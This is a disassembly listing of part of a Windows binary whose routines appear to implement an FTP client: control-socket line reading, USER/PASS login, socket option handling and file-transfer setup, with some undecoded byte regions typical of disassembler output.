loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44742468h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		call	near ptr 77C1C561h
		nop
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 14681875h, 0E8004474h, 778091FEh, 4C48390h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 44740Ch, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473FC68h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71FC6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 0F4681E75h, 0E8004473h, 77809146h
		dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73F46824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		call	near ptr 77C46170h
		nop
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
byte_42E262	db 0Eh dup(90h)		; DATA XREF: sdfs____:005A5533o
					; sdfs____:005A56E0o
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		js	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474C0
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B8 ; jumptable 0042E641 case 1
		mov	dl, byte_4474BC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474B0 ; jumptable 0042E641 case 2
		mov	cl, byte_4474B4
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A8 ; jumptable 0042E641 case 3
		mov	al, byte_4474AC
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474A0 ; jumptable 0042E641 case 4
		mov	dl, byte_4474A4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
